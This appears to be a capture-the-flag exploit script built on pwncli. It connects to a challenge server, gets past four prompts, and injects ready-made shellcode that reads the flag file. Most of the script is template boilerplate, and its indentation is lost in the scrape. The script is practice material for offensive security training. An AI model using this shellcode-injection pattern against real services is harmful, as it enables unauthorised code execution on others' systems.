1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
|
"""
author: GeekCmore
time: 2025-04-26 09:43:46
"""
from pwncli import *
filename = "chall_patched"
libcname = "/home/botdebug/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "39.105.2.63"
port = 36704
elf = context.binary = ELF(filename)
context.terminal = ["tmux", "neww"]
context.log_level = "debug"
if libcname:
libc = ELF(libcname)
gs = """
b main
set debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug
"""
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
p = start()
def leak_address():
if context.arch == "i386":
return u32(p.recv(4))
else:
return u64(p.recv(6).ljust(8, b"\x00"))
def leak_address2(timeout=0.1):
contains = b"\x7f" if context.bits == 64 else b"\xf7"
m = p.recvuntil(contains, timeout=timeout)
if contains not in m:
raise RuntimeError("Cannot get libc addr")
if context.bits == 32:
return u32(m[-4:])
else:
return u64(m[-6:])
def dbg():
if args.AT:
gdb.attach(p, gs)
pause()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
ia = lambda: p.interactive()
op32 = make_packer(32, endian="big", sign="unsigned")
op64 = make_packer(64, endian="big", sign="unsigned")
def cmd(i):
sla("", i)
def add(size, msg):
cmd("1")
ru("")
s(str(size))
ru("")
s(msg)
def edit(idx, msg):
cmd("2")
ru("")
s(str(idx))
ru("")
s(msg)
def show(idx):
cmd("3")
ru("")
s(str(idx))
def dele(idx):
cmd("4")
ru("")
s(str(idx))
def exp():
for i in range(4):
ru("Defend? (y/N):")
sl("N")
ru("Say your last word to your territory: ")
s(flat(ShellcodeMall.amd64.cat_flag))
ia()
exp()
|
